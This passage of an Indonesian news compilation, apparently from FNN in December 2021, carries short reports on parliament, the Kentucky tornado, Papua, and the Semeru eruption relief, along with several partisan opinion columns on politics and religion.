Effendi (F-PPP). Sementara itu, anggota tiap fraksi terdiri dari Fraksi PDIP sebanyak 12 orang, Fraksi Golkar 8 orang, Fraksi Gerindra 8 orang, Fraksi NasDem 6 orang, Fraksi PKB 6 orang, Fraksi Demokrat 5 orang, Fraksi PKS 5 orang, Fraksi PAN 4 orang, dan Fraksi PPP 2 orang. RUU lain yang kemungkinan akan dibahas dan menjadi perhatian publik adalah RUU tentang Penghapusan Kekerasan Seksual (P-KS) yang kemudian berubah menjadi Tindak Pidana Kekerasan Seksual (TPKS). Dalam Rapat Pleno Baleg pada Rabu (8/12) menyetujui RUU TPKS dan akan dibawa ke Rapat Paripurna DPR untuk disetujui menjadi usul inisiatif DPR RI. Dalam Rapat Pleno Baleg tersebut, tidak semua fraksi sepakat menyetujui RUU TPKS dilanjutkan pembahasannya karena ada satu fraksi yang menolak yaitu F-PKS. Dan Fraksi Partai Golkar yang meminta menunda pengambilan keputusan karena masih perlu mendengarkan pendapat atau aspirasi masyarakat terhadap RUU TPKS. Proses selanjutnya, Rapat Bamus DPR akan menentukan apakah RUU TPKS dibahas di tingkat Pansus atau di alat kelengkapan dewan. Namun hingga saat ini belum diagendakan Rapat Paripurna DPR dengan agenda pengambilan keputusan RUU TPKS menjadi usul inisiatif DPR. Penetapan jumlah RUU dalam Prolegnas selalu menimbulkan pro-kontra, ada yang meminta DPR mengutamakan kualitas RUU yang dihasilkan dibandingkan kuantitas, dan sebaliknya. Namun yang perlu ditekankan adalah kinerja legislasi merupakan salah satu unsur penilaian yang bisa digunakan masyarakat untuk menilai kinerja DPR. Unsur lain seperti tugas pengawasan dan anggaran yang melekat pada DPR, juga harus dilihat secara kritis oleh masyarakat yaitu sejauh mana legislatif bisa menjalankan mekanisme "check and balances" dalam sistem demokrasi di Indonesia. Dan tentu saja, semua tugas yang dijalankan DPR, legislasi, pengawasan, dan anggaran, harus dijalankan dengan asas keterbukaan dan akuntabilitas. (sws)

Delapan Tewas, Delapan Hilang Akibat Tornado di Kentucky, AS

Mayfield, Kentucky, FNN - Delapan orang dipastikan tewas dan delapan lainnya masih hilang pada Minggu (12/12) di pabrik lilin Mayfield Consumer Products di Mayfield, Kentucky, tempat 110 pegawai sedang bekerja ketika pabrik itu dihantam tornado, kata juru bicara perusahaan, Minggu. "Menurut laporan awal, ada 70 orang yang kemungkinan meninggal di pabrik itu. Satu korban saja sudah terlalu banyak, tapi kami bersyukur jumlah itu jauh lebih sedikit," kata juru bicara perusahaan, Bob Ferguson, kepada Reuters. Gubernur Kentucky Andy Beshear sebelumnya mengatakan bahwa di negara bagian yang ia pimpin itu sedikitnya 80 orang meninggal setelah sebuah tornado yang begitu kuat mencabik kawasan tersebut pada Jumat (10/12) malam. Beshear memperkirakan jumlah total korban jiwa bisa mencapai 100 orang. Belum ada kejelasan soal berapa banyak pegawai pabrik yang masuk dalam penghitungan Beshear. Pada Minggu petang, para petugas yang menggali puing-puing masih menganggap upaya mereka itu sebagai operasi penyelamatan dan belum menghentikan langkah tersebut, kata Ferguson. "Kami masih berharap bahwa delapan orang lagi, yang masih belum diketahui keberadaannya, bisa ditemukan," katanya. Mayfield Consumer Products menggambarkan diri sebagai perusahaan lokal dan milik keluarga yang memproduksi lilin dan berbagai barang pewangi. Mayfield adalah daerah permukiman yang berpenduduk sekitar 10.000 orang di Graves County. Akibat disapu tornado, wilayah permukiman itu berubah menjadi lapangan luas yang dipenuhi gedung-gedung yang rusak dan hancur, puing-puing yang berserakan, pohon-pohon tumbang, rambu-rambu jalan yang bengkok, dan kabel-kabel yang bergelantungan. (sws)

KKB Tembaki Pos Brimob di Serambakom Pegunungan Bintang

Jayapura, FNN - Kelompok kriminal bersenjata (KKB), Senin pukul 06.00 hingga 07.00 WIT, menembaki Pos Brimob di Distrik Serambakom, Kabupaten Pegunungan Bintang, Papua. "Memang benar ada laporan KKB menembaki Pos Brimob. Dalam kejadian ini, tidak ada korban jiwa," kata Kapolres Pegbin AKBP Cahyo Sukarnito kepada ANTARA, Senin pagi. (sws)

Polres Minahasa Tangkap Empat Pelaku Perundungan Anak

Manado, FNN - Kepolisian Resor Minahasa, Sulawesi Utara (Sulut) menangkap empat terduga pelaku kasus perundungan terhadap seorang anak perempuan yang kejadiannya viral di media sosial. Kepala Bidang Humas Polda Sulut Kombes Pol Jules Abraham Abast, di Manado, Minggu mengatakan, keempat terduga pelaku sudah diamankan di Mapolres Minahasa dan penyidik sudah mengirimkan surat ke Balai Pemasyarakatan untuk pendampingan terhadap terduga pelaku dan korban. Satreskrim Polres Minahasa telah meminta keterangan terhadap saksi, saksi pelapor, saksi korban, juga keempat terduga pelaku. "Kemudian juga berkoordinasi dengan Lapas Anak Tomohon untuk penitipan terduga pelaku yang masih di bawah umur,” katanya. Ia mengatakan pada 8 Desember 2021 telah dilaporkan di Polres Minahasa, terkait perkara penganiayaan secara bersama-sama terhadap korban seorang siswi berinisial CLP (13) warga Minahasa. Kasus tersebut dilaporkan oleh ayah korban dengan bukti Laporan Polisi Nomor: LP/551/XII/2021/Sulut/Polres Minahasa. Disebutkan empat nama terduga pelaku berusia 16,17,19 dan 20 tahun. (sws)

Letkol Inf Catur Prasetiyo Jabat Dandim 1709/Yawa

Biak, FNN - Letkol Inf. Catur Prasetiyo Nugroho resmi menjabat Komandan Kodim 1709/Yapen Waropen menggantikan pejabat lama Letkol Inf. Leon Pangaribuan setelah serah terima jabatan di Makorem Biak. Danrem 173/PVB Brigjen TNI Taufan Gestoro dalam keterangan diterima, Senin pagi, mengatakan bahswa sertijab Dandim 1709/Yawa secara bersamaan dengan upacara sertijab jabatan jajaran Korem 173/PVB, di antaranya Kasiren Korem, Kasiintel Kasrem, Dandim 1714/PJ, dan Danyonif RK 753/AVT. Danrem mengungkapkan rasa syukurnya karena dapat melaksanakan acara serah terima jabatan Kasiren Korem 173/PVB, Kasiintel Kasrem 173/PVB, Dandim 1709/Yawa, Dandim 1714/PJ, dan Danyonif RK 753/AVT dalam keadaan sehat walafiat. Danrem mengatakan bahwa suatu organisasi merupakan momen penting dalam tugas dan jabatan, baik pejabat lama maupun pejabat baru. Mutasi atau pergantian di lingkungan TNI AD, menurut Danrem, hal biasa terjadi dengan tujuan penyegaran, baik sebagai upaya tour of duty maupun tour of area dan juga merupakan sebagai wujud dari penghargaan pimpinan TNI AD kepada personel yang bersangkutan untuk pengembangan karier. "Jabatan yang diberikan adalah merupakan amanah sehingga ada konsekuensi yang logis dan harus dilaksanakan dengan sebaik-baiknya serta dipertanggungjawabkan oleh pejabat yang bersangkutan, baik kepada organisasi, masyarakat, maupun terlebih lagi kepada Tuhan Yang Maha Esa," pesan Brigjen TNI Taufan. Kepada pejabat yang telah diberikan kepercayaan menempati jabatan, lanjut dia, agar dapat mensyukuri dan melaksanakan jabatan secara ikhlas dan penuh rasa tanggung jawab serta dapat memetik hikmah apa yang sudah diperoleh dari saat ini sampai dengan pada masa depan. "Saya yakin dan percaya, dengan bekal pengalaman yang telah dimiliki pada penugasan jabatan sebelumnya, para pejabat baru akan mampu memimpin dan melaksanakan tugas dengan baik menggantikan pejabat sebelumnya," ujarnya. Kepada pejabat lama, dia menyampaikan terima kasih dan penghargaan setinggi-tingginya terhadap pengabdian dan dedikasi dalam bertugas di jajaran Korem 173/PVB. "Kepada prajurit TNI AD, tetap selalu berpedoman pada Saptamarga, Delapan Wajib TNI, dan Sumpah Prajurit sebagai landasan dasar dalam setiap pelaksanaan tugas," kata Brigjen TNI Taufan Gestoro. Pejabat lama Dandim 1709/Yawa Letkol Inf. Leon Pangaribuan akan mengemban tugas sebagai Kepala Sandi dan Siber Kodam VI/Mulawarman. Sementara itu, pejabat baru Dandim 1709/Yawa Letkol Inf. Catur Prasetiyo Nugroho sebelumnya menjabat sebagai Pabandyawanwil Staf Teritorial Kodam XVII/Cenderawasih. (sws)

LP3ES Ingatkan Risiko Polisi Siber Terhadap Penegakan Demokrasi

Jakarta, FNN - Direktur Eksekutif Lembaga Penelitian, Pendidikan, dan Penerangan Ekonomi dan Sosial (LP3ES) Fajar Nursahid mengatakan bahwa polisi siber memiliki risiko terhadap sistem demokrasi di Indonesia, yakni memengaruhi keberanian masyarakat dalam menyampaikan aspirasi. "Mereka merasa ketika menyatakan aspirasi, itu banyak terjadi tekanan," kata Fajar Nursahid ketika menyampaikan paparan materinya dalam diskusi publik bertajuk Catatan Akhir Tahun Bidang Politik, Media, dan Demokrasi yang disiarkan secara langsung dalam platform Twitter Space, dan dipantau dari Jakarta, Minggu (12/12) malam. Dikutip dari laman resmi Patroli Siber, Direktorat Tindak Pidana Siber (Dittipidsiber) adalah satuan kerja yang berada di bawah Bareskrim Polri dan bertugas untuk melakukan penegakan hukum terhadap kejahatan siber. Beberapa jenis kejahatan siber yang satuan kerja ini tangani, khususnya terkait dengan kebebasan berpendapat, adalah tindakan pencemaran nama baik (online defamation) dan ujaran kebencian (hate speech). Fajar berpandangan bahwa masih terdapat definisi yang terlalu luas terkait dengan tindakan pencemaran nama baik dan ujaran kebencian sehingga menimbulkan keresahan bagi masyarakat yang ingin menyampaikan opini berupa kritik dalam media sosial. "Hampir 120 orang memperoleh peringatan mengenai konten-konten yang mereka publikasikan di sosial media pada kuartal kedua tahun 2021," ungkap Fajar. Peristiwa tersebut mengakibatkan beberapa masyarakat pengguna media sosial merasa ragu untuk mengungkapkan opini mereka di dunia siber. Dampak dari tekanan tersebut adalah menurunnya keberanian masyarakat untuk menyatakan aspirasi, bahkan dapat berimplikasi pada tingkat partisipasi publik dalam hal menyampaikan pandangan terkait dengan berbagai kebijakan pemerintah. Oleh karena itu, kata dia, polisi siber atau polisi virtual perlu memperoleh tinjauan ulang yang lebih mendalam agar tidak terdapat kesan pembatasan terhadap kebebasan sipil dalam menyampaikan pendapat di ruang media sosial. (sws)

Sampur dan Oligarki

Oleh Ridwan Saidi Sampur artinya akses. Di Tanggerang disebut Sampora. Di Bogor disebut Sempur. Dari Kedung Halang posisi Sempur di sebelah kiri. Kemungkinan besar Sempur akses ke Istana Pabaton, Bogor. Kéndal juga akses ke zona ekonomi Semarang. Oleh Belanda Sampur diganti Zandvoort. Mungkin supaya terkesan Belanda lebih dulu berdiam di situ dari pada native. Banyak toponim native yang diBelandakan. Sampur di Tanjung Priyuk tempat tujuan wisata lokal. Pengunjung bisa bermandi-manda atau sewa perahu layar ke pulau Serebu. Tak jauh dari Sampur ada tempat untuk elit dari sejak jaman Belanda, itulah Yacht Club. Tiap malam ada live music di sini. Kalau lebaran ramai nian di Sampur. Penduduk dari selatan memenuhi Sampur. Mereka datang dengan charter truck. Sang Saka Merah Putih dikibarkan. Di Sampur mereka menatap laut sambil duduk-duduk. Semua yang dikisahkan tadi telah tertelan masa, maklumlah oligarki adalah tim bola tanpa kostum. Kalau oligarki menggiring bola dan menendang ke arah gawang dipastikan masuk sama kiper-kipernya. Orba berganti reformasi yang berubah cuma bertambahnya besi di ruang darat dan udara Sampur. Hutan belukar besi beton merembet ke arah timur. Mau ke pantai mana lagi di Jakarta, Muara Karang hingga Ancol menjadi kawasan rawan rob. Kamal Muara panoramanya dibendung pulau Alpabet Reklamasi. Tanjung Pasir terlalu jauh buat orang Jakarta. Itu di Tanggerang. Orang Jakarta santai di mana? Mall. Tapi itu bagi yang duitnya berlebih dan sudah divaksin. Pantai Jakarta harus ditertibkan kembali. Agar penduduk daratan bisa menikmati laut. Kalau panorama ini dibendung, maka laut yang mampir mengunjungi daratan. Kata media, pesisir Jakarta tenggelam akibat rob sejak 4/12/2021. Atau dalam istilah popular banjir 412. Tapi Badan Penanggulang Bencana DKI menghitungnya dengan jumlah RT. Hanya 28 RT yang kena banjir, sedangkan jumlah RT di Jakarta lebih dari 30 ribu. Kesan yang ingin ditimbulkan dengan hitung-hitungan begini, ini bencana tak seberapa. Ini ciri kebanyakan pejabat era reformasi, menghindar dengan permainan kata-kata. *) Budayawan

Selidiki Lebih Dalam Si Predator Sex

By M Rizal Fadillah Kasus Herry Wirawan (HW) jelas sangat menggegerkan dan masyarakat mengecam dahsyat atas perilaku HW yang memangsa murid atau santrinya tersebut. Sebutannya predator sex. Kasus perkosaan kah? Tampaknya bukan. Pengadilan harus membuktikan ada perkosaan atau tidak. Kasus HW tidak bisa dilihat semata dari sisi pelanggaran hukum tetapi berspektrum lebih dari itu. Ada aspek sosial dan keagamaan. Bagaimana ada sebuah lembaga pendidikan yang tidak memiliki tim pendidik selain yang bersangkutan? Bagaimana lingkungan sekitar tidak merasakan keberadaan lembaga tersebut, sehingga dari 35 santriwati yang ada tidak satupun santri berasal dari lingkungan terdekat. Padahal HW ini adalah Ketua Pokja Pendidikan Kesetaraan Pondok Pesantren Salafiyah (PKPPS) Kemenag. Inilah lembaga misterius yang mengajarkan entah apa. Mengapa hanya santriwati yang sekolah di sana dengan guru satu-satunya laki-laki. Bukan hanya motif guru "pemerkosa" yang harus diperiksa tetapi motif orang tua menitipkan puteri-puterinya nya pun dinilai aneh. Mungkinkah ada komunitas tertentu yang berada di ruang lingkup "pendidikan" tersebut? Kasus ini tidak boleh ditutup-tutupi. Buka selebar-lebarnya. Mau pesantren, boarding school atau apapun namanya nyatanya Herry Wirawan (HW) telah merusak umat. Biarlah hukum berjalan di ranahnya, tetapi aspek sosial keagamaan harus ikut bergerak. MUI dan Ormas keagamaan dituntut untuk terjun menyelidiki. Tercium aroma kesesatan di dalam lembaga yang berada di bawah pengawasan Kemenag tersebut. Kemenag tentu memiliki data yang cukup. Tiga pertanyaan mendasar untuk mengejar lebih dalam perbuatan si predator seks ini. Pertama, apakah terjadi pemaksaan dengan kekerasan atau ancaman kekerasan sehingga memenuhi apa yang disebut dengan "pemerkosaan" masif, berulang, dan banyak korban? Kedua, adakah itu semata hubungan perzinaan atas dasar rayuan atau suka sama suka. HW berdosa atas hukum perzinaan. Melanggar agama dan hukum positif. Berhubungan dengan anak di bawah umur lagi. Ketiga, jika ternyata HW maupun santriwati binaannya itu merasa hubungan intim dijalankan dalam bingkai doktrin keagamaan dimana baik HW maupun korban ternyata merasa "nyaman-nyaman" saja, maka indikasinya adalah ada pemahaman keagamaan sesat HW yang didoktrinkan kepada anak binaannya apakah "milkul yamin" atau nikah mut'ah ajaran Syi'ah. Benar bahwa anak-anak di bawah umur sebagai korban harus dilindungi, tetapi masyarakat khususnya umat Islam berhak untuk tahu dan waspada atas "sistem" yang berjalan di dalamnya. Bagaimana bisa pula Pemerintah mengeluarkan dana bantuan atas lembaga pendidikan di Cibiru yang konon tidak berizin? Semoga tidak menjadi skandal. Bongkar penyimpangan dan usut tuntas perbuatan yang telah mengatasnamakan agama ini. Siapapun yang terlibat harus ikut bertanggung jawab. Jangan biarkan peristiwa keji seperti ini berlalu begitu saja. Kejahilan harus diberantas dan kejahatan harus ditindak tegas. *) Pemerhati Politik dan Keagamaan

Presidential Threshold Dinilai Memunggungi UUD 45

Jakarta, FNN - Konsep presidential threshold mereduksi kedaulatan rakyat dan memunggungi UUD. Ambang batas kursi di DPR atau raihan suara partai politik untuk mencalonkan presiden, dinilai justru telah membatasi praktik demokrasi konstitusional di Indonesia. Presidential Threshold menyebabkan rakyat tidak dapat menyalurkan hak konstitusionalnya untuk memilih dan dipilih secara lebih demokratis seperti tertuang di Pasal 1 ayat 2 UUD NRI 1945. Sorotan terhadap presidential threshold itu merupakan kesimpulan dari Seminar Nasional dan Call For Papers kerja sama Badan Pengkajian MPR RI dengan Laboratorium Hukum Tata Negara Universitas Surabaya, dan Asosiasi Pimpinan Perguruan Tinggi Hukum Indonesia di Surabaya (12/12). Kegiatan bertajuk “Aktualisasi UUD NRI Tahun 1945 dalam Sistem Penyelenggaraan Negara: 23 Tahun Reformasi,” ini dibagi dalam empat panel. Belasan pakar berpartisipasi. Antara lain, ahli hukum tata negara Prof Zainal Arifin, Anggota Dewan Pembina Perludem Titi Anggraini, serta Ketua MASIKA ICMI dan Sekjen Asosiasi Perguruan Tinggi Hukum Ismail Rumadhan. Dalam sambutannya, Pimpinan Badan Pengkajian MPR, Tamsil Linrung menyatakan bahwa pandangan pakar hukum tata negara sangat dibutuhkan dalam proses penyempurnaan konstitusi. Baik secara konseptual, maupun koreksi di tingkat implementasi. “MPR RI sebagai lembaga negara yang memiliki kewenangan tertinggi membentuk UUD, terus melakukan pengkajian sistem ketatanegaraan dengan prinsip keterbukaan. MPR membuka ruang partisipasi seluas-luasnya dari masyarakat dan terutama para ahli,” imbuh Senator Dewan Perwakilan Daerah ini. Dari kajian yang cermat dan mendalam, ditemukan indikasi bahwa salah satu persoalan kenegaraan yang terjadi saat ini disebabkan oleh implementasi UUD yang tidak konsisten. Menerjemahkan ke dalam peraturan perundang-undangan tidak sesuai dengan amanat konstitusi. Menyikapi hal itu, MPR dapat merekomendasikan untuk penyempurnaan Undang-Undang, atau bahkan amandemen UUD agar tidak menimbulkan tafsir beragam seperti presidential threshold yang dinilai tidak sejalan dengan Pasal 1 Ayat 2 UUD NRI 1945. Menurut Tamsil, salah satu hal yang saat ini menjadi sorotan dan koreksi masyarakat dan terutama para pakar, adalah presidential threshold. Hal itu lantaran mekanisme tersebut terlalu prematur untuk menyaring bakal kandidat yang akan berkontestasi di pemilihan presiden dan wakil presiden. Apalagi hasil Pemilu periode sebelumnya yang jadi acuan. “Seharusnya, Pilpres itulah yang menjadi mekanisme penyaringan. Bukan ditapis sejak awal pendaftaran kandidat sehingga pilihan sangat terbatas. Bahkan menu itu terkesan dipaksakan untuk disajikan kepada pemilih. Skenario tersebut berpotensi memunculkan pasangan calon tunggal melawan kotak kosong. Apalagi bila melihat komposisi politik saat ini.” tegas Tamsil. Pencalonan presiden dan wakil presiden semestinya dibuka seluas-luasnya untuk putra putri terbaik bangsa. Presidential threshold dinilai menyimpang dari spirit yang diusung oleh sistem demokrasi di Indonesia. Karena itu, MPR proaktif mendalami isu ini dalam rangka penyempurnaan implementasi demokrasi di Indonesia. Tamsil juga mengajak masyarakat untuk bersama-sama melakukan langkah-langkah konstitusional dalam merespons persoalan presidential threshold ini dengan mengajukan gugatan judicial review ke Mahkamah Konstitusi. Ketua Kelompok DPD di MPR ini melihat MK telah punya keberanian baru dalam membuat terobosan. Pernyataan tersebut berkaca pada keputusan MK yang menyatakan bahwa UU Cipta Kerja inkonstitusional. Hal itu merupakan angin segar dalam membenahi konstitusi secara menyeluruh. Termasuk Undang-undang Nomor 7 Tahun 2017 tentang Pemilihan Umum yang memuat ambang batas pencalonan pasangan presiden dan wakil presiden. (sws)

Peserta Sagara Film Festival Membludak, Deddy Mizwar: Mari Kita Gelorakan Budaya Indonesia

Jakarta, FNN - Partai Gelombang Rakyat (Gelora) Indonesia menggelar Sagara Film Festival, yaitu ajang lomba film pendek dengan durasi maksimal 10 menit. Sagara Film Festival ini diselenggarakan Bidang Seni Budaya dan Ekonomi Kreatif (Ekraf) DPN Partai Gelora yang dipimpin aktor kawakan pemeran Jenderal Nagabonar, Deddy Mizwar. "Seluruh peserta dipersilahkan memposting film pendeknya di Instagram masing-masing dengan durasi maksimal 10 menit," kata Deddy Mizwar dalam keterangannya, Minggu (12/12/2021). Adapun tema film pendek tersebut adalah Show Your Culture With Short Movie". "Indonesia kaya budaya, lewat film pendek kita gelorakan budaya indonesia lewat karya anak muda," katanya. Menurut Deddy Mizwar, Sagara Film Festival sudah dilaunching pada 28 Oktober 2021 lalu, bertepatan dengan Milad ke-2 beberapa waktu lalu. "Pendaftaran di buka sampai tanggal 30 November 2021 lalu, dikarenakan antusiasme peserta yang sangat luar biasa, maka panitia memperpanjang masa pendaftaran sampai 10 Desember 2021," ujar Deddy Mizwar. Wakil Ketua Umum Bidang Seni Budaya dan Ekraf DPN Partai Gelora Ahmad Yani mengatakan, antusias peserta untuk mengikuti Sagara Film Festival ini besar sekali. "Saat ini sudah terkumpul 90 Film dari seluruh Indonesia yang terdaftar dalam kegiatan ini," kata Ahmad Yani. Saat ini seluruh film yang masuk sedang dinilai oleh tim juri. Adapun tim juri yang terlibat sebagai berikut: Aktor dan sutradara senior Deddy Mizwar menjadi juri kehormatan. Kemudian tim juri lainnya adalah Andy Shafik (Film Produser) Bid Seni Budaya dan Ekraf, Hadriunus Eko Sunu (praktisi film dan akademisi film Institut Kesenian Jakarta) Owner Synchronize Sound. Lalu, Endjah Prabowo (praktisi Film dan asosiasi Indonesia Film Editor) dan Abel, founder Kembangin.id dan Bidang Seni Budaya & Ekraf. Kegiatan selanjutnya adalah Online Workshop sesi 2 pada tanggal 23 Desember 2021 dan acara puncak penganugerahan Sagara Film Festival akan di selenggarakan pada 8 Januari 2022 mendatang. Menutup sesi pendaftaran pada Sabtu (11/12/2021) lalu, Sagara Film Festival menyelenggarakan rangkaian acara yakni Online Workshop 'Bikin Film Yuk'. Workhsop ini diisi Deddy Mizwar (aktor & sutradara senior) yang juga Ketua Bidang Seni Budaya dan Ekonomi Kreatif DPN Partai Gelora. Pembicara lain, yakni Dalillah Nurhasanah (Influencer), Host Swadika Yanavi (announcer), Sektretaris Bidang Seni Budaya dan Ekonomi Kreatif DPN. (sws)

Posko Kolaborasi Relawan Blue Helmet di Lumajang Dapat Dukungan Luas

Jakarta, FNN - Posko Kolaborasi Relawan yang didirikan Blue Helmet di lokasi bencana erupsi Gunung Semeru, Lumajang, Jawa Timur secara terus menerus mendapatkan bantuan dari berbagai organisasi kemasyarakatan, lembaga, instansi pemerintah dan para donatur. Sebab, selain menyalurkan bantuan untuk korban erupsi, Posko Kolaborasi memberikan perhatian khusus kepada para relawan yang bertugas di lapangan. "Posko Kolaborasi Relawan yang didirikan Blue helmet di Lumajang menyiapkan makan dan minum 3x sehari untuk para relawan dari berbagai lembaga, organisasi dan komunitas," kata Sufiadi Barmawi, Komandan Nasional Blue Helmet Indonesia dalam keterangannya, Minggu (12/12/2021). Menurut Sufiadi, Blue Helmet memang memberi perhatian khusus kepada para relawan karena mereka tulang punggung dalam membantu dan menyelamatkan korban. "Alhamdulilah hingga kini support bantuan dari para donatur terus mengalir.Terima kasih kepada para donatur, semoga menjadi ladang pahala amal jariyah," katanya. Ketua DPW Partai Gelora Indonesia Jawa Timur (Jarim) Muhammad Sirot mengatakan, salah satu layanan unggulan Posko Kolaborasi Relawan Blue Helmet di Lumajang adalah layanan pijat 'plus plus'. "Sssssstt ... Jangan miris dulu ya. Plus plus ini maksudnya layanan pijat capek, plus keseleo, plus nambah 'perkasa. Saya mencoba pijat ini, rasanya enak pool. Apalagi seusai kami tim Blue Helmet melakukan giat membantu para pengungsi di beberapa titik," Muhammad Sirot. Gus Sirot - sapaan akrab Muhammad Sirot mengatakan, pijat sangat diperlukan para relawan, karena mereka ada di garda terdepan membantu dan menyelamatkan para korban. Karena itu, Blue Helmet Jatim menyiapkan posko kolaborasi sebagai wadah koordinasi dan layanan para relawan dari berbagai lembaga dan organisasi. "Termasuk layanan tempat menginap. Banyak relawan datang tanpa punya tempat tinggal. biasanya mereka menggunakan tempat seadanya untuk istirahat," kata Gus Sirot. Posko Kolaborasi menyiapkan layanan nasi bungkus, kopi, teh, STMJ, susu, jahe dan minuman herbal lainnya. Sehingga para relawan menjadi nyaman, meski jauh dari keluarga. Komandan Blue Helmet Jatim Hasan Basori menambahkan, selain mendapatkan bantuan soal sembako, Blue Helmet juga mendapatkan bantuan kebutuhan ibu dan bayi seperti dari Persatuan Perangkat Desa Indonesia ( PPDI) Kabupaten Pasuruan, Sementara RS Wonolangan Probolinggo memasok obat-obatan dan alat kesehatan, serta siap bekerja sama dengan Blue Helmet dalam memberikan layanan kesehatan. "Demikian juga para santri dari beberapa daerah mewakili pesantren masing masing siap bekerjasama memberikan penyuluhan agama dan penguatan mental spiritual para pengungsi," kata Hasan Basori yang akrab dipanggil Cak Hasan. Di level Rescue, Blue Helmet juga berkerjasama dengan BASARNAS, BNPB, TNI AL serta ORARI. Mereka bahkan menjadikan Posko kolaborasi ini sebagai pusat koordinasi. "Inilah berkah kolaborasi. Rakyat sangat percaya sekecil apapun masalah yang dihadapi bangsa tidak bisa ditangani sendiri. Maka, kolaborasi merupakan energi perekat keutuhan dan kehebatan bangsa. Berkolaborasi adalah cara kami dalam bekerja" tegas Cak Hasan. (sws)

Jalan Khashoggi dan Pohon Rizieq

Oleh Ady Amar *) Di Amerika, tepatnya di Washington DC. Lebih spesifik lagi, di depan Kedutaan Besar Saudi Arabia, Dewan Kota dengan kesepakatan bulat mengganti nama jalannya menjadi Khashoggi Way. Jamal Khashoggi adalah warga Saudi Arabia, jurnalis The Washington Post, yang dibunuh tanpa bekas di Konsulat Saudi Arabia di Istanbul, Turki. Jasadnya dibuat tanpa bekas, dan itu menurut penyelidikan intelejen Turki, yang mengadakan penyelidikan ditail di gedung konsulat itu. Tidaklah perlu dibahas kerja intelejen yang menemukan temuannya itu. Bukannya tidak penting, tapi untuk menyempitkan pembahasan. Jamal Khashoggi sengaja dihabisi. Simpulannya, ia kerap mengkritisi demokrasi dan hak azasi manusia di asal negaranya. Ada peran intelejen Saudi, dan itu konon atas perintah putra mahkota Muhammad bin Salman (MBS). Bagitu pula temuan intelejen Amerika, yang setali tiga uang dengan Turki, ada peran intelejen Saudi yang melakukan pembunuhan atas Khashoggi. Amerika menjadikan isu ini jadi sesuatu yang bisa dimainkan untuk kepentingan menekan Saudi pada kebijakan-kebijakan yang menguntungkannya. Amerika memainkan politik dua kaki. Menekan Saudi soal itu, tapi tidak sampai menyentuh putra mahkota atas pembunuhan terencana itu. Pemberian nama Khashoggi Way, dan itu di depan Kedubes Saudi Arabia benar-benar menampol keras pemerintahan Kerajaan Saudi Arabia. Nama itu akan terus dikenang, bahwa ada perbuatan penghilangan nyawa seorang jurnalis, yang itu atas restu "negara". Jamal Khashoggi Way tidak sekadar nama jalan. Tapi sebuah simbol perlawanan atas kesewenang-wenangan penghilangan anak manusia. Simbol yang akan terpateri, bisa jadi sepanjang waktu, bahkan sampai yang terlibat dalam penghilangan nyawa dimatikan Tuhan dengan caranya masing-masing. Pohon Rizieq Lain di Washington DC, lain pula di sekitaran erupsi gunung Semeru. Sebuah pohon utuh masih berdiri di sana. Diatasnya bendera dengan gambar Habib Rizieq Shihab menari-nari diterpah angin. Tidak tahu siapa yang kreatif memasangnya. Ramai muncul di jagat pemberitaan. Ada gambar Habib Rizieq di Semeru, setidaknya itu pemberitaan yang muncul. Tidak tahu siapa yang memasang, meski tidak tahu siapa orangnya, pastilah ia seseorang yang mengidolakannya. Tapi berita lanjutannya tidak mengenakkan. Bukannya bendera Habib Rizieq itu dicopot, seperti hal itu dulu dilakukan Pangdam Jaya Mayjen Dudung Abdurachman-- saat ini Kastaf AD berpangkat Jenderal. Tapi justru pohonnya yang ditebang habis. Padahal pohon itu, sebagai makhluk hidup, telah diselamatkan Tuhan. Sehingga tetap berdiri kokoh dari terpaan erupsi dahsyat. Makhluk hidup apapun itu punya hak untuk hidup. Tidak boleh ada yang mematikan dengan sewenang-wenang. Khashoggi di Amerika dihidupkan lewat nama jalan. Namanya tetap dikenal, tidak dimatikan. Meski nyawanya melayang di tangan algojo, konon atas perintah orang kuat. Sedang Habib Rizieq masih segar bugar, tapi hidup dalam penjara. Namanya coba dimatikan. Sebisa mungkin tidak ada gambarnya menyembul di ruang publik. Maka, pohon yang tidak punya salah apapun di seputaran gunung Semeru perlu dibabat, karena jadi cantolan wajah Habib Rizieq, yang itu jadi pemberitaan media. Jamal Khashoggi menjelma jadi nama jalan di Amerika, meski raganya sudah dihilangkan, tapi namanya tetap diingat selamanya. Sedang Habib Rizieq masih bergelut dengan putusan pengadilan tingkat banding, yang tidak semestinya ia dapatkan, dan yang masih belum selesai dijalaninya. Entah sampai kapan... (*) *) Kolumnis

Tak Ada Pilihan Lain, Megawati Harus Capreskan Puan 2024

By Asyari Usman Ketum PDIP Megawati Soekarnoputri tidak punya semua yang diperlukan untuk mengamankan karir politik Puan Maharani. Bu Mega tak punya banyak waktu untuk urusan putrinya itu. Banyak duit, tapi tidak banyak yang lain-lainnya. Kalau Bu Ketum serius ingin melihat Puan masuk ke Istana, maka Pilpres 2024 adalah momen yang terbaik, terkuat, tersolid, dan paling pas. Tak lebih, tak kurang. Mari kita lihat beberapa kalkulasi. Pertama, Bu Mega tidak punya kemewahan waktu. Beliau telah mencapai usia 74. Artinya, Pilpres 2029 sangat jauh di depan. Bu Mega akan berusia 83 tahun. Pilpres 2029 tak terlihat lagi. Memang betul bahwa “life expectancy” (harapan hidup) adalah hak prerogatif Allah Yang Maha Kuasa. Bisa saja Bu Mega mencapai usia 100-an. Wallahu a’lam. Tapi, dalam hitungan normal, 2029 sama seperti “a bridge too far” bagi Bu Mega. Ibarat kejaran harimau, jembatan itu terlalu jauh untuk mengantarkan Puan selamat ke seberang. Kedua, seiring dengan perjalanan waktu yang semakin tak bersahabat pada Bu Mega, maka secara natural kemampuan fisik dan mental beliau pun akan berkurang. Akan menurun drastis. Ini berarti cengkeraman Bu Ketum atas PDIP akan menjadi sangat rapuh. Dan bisa saja lepas. Tidak lagi bisa mendikte partai seperti sekarang ini. Jika asumsi yang sangat berdasar kuat ini terjadi, berarti Pilpres 2029 tidak akan membawa harapan apa-apa untuk Puan. Ketiga, klanisasi (pengelompokan) di internal PDIP akan semakin dinamis. Para kader yang merasa potensial akan berlomba naik ke atas. Tak terelakkan. Sebab, selama ini faktor solidasi partai seratus persen karena Bu Mega. Kalau dia tidak lagi kuat secara fisik dan psikis, PDIP terancam pecah. Puan, Hasto, atau siapa pun yang lainnya tak akan mampu mengikat PDIP. Karena prediksi seperti inilah Ganjar Pranowo percaya diri melawan Bu Mega. Ganjar bisa melihat PDIP bisa dia kuasai pasca-Megawati. Karena alasan-alasan di atas inilah Bu Mega harus menjadikan Puan sebagai capres 2024. Tidak punya pilihan lain. Maju atau tidak, taruhannya sama saja. 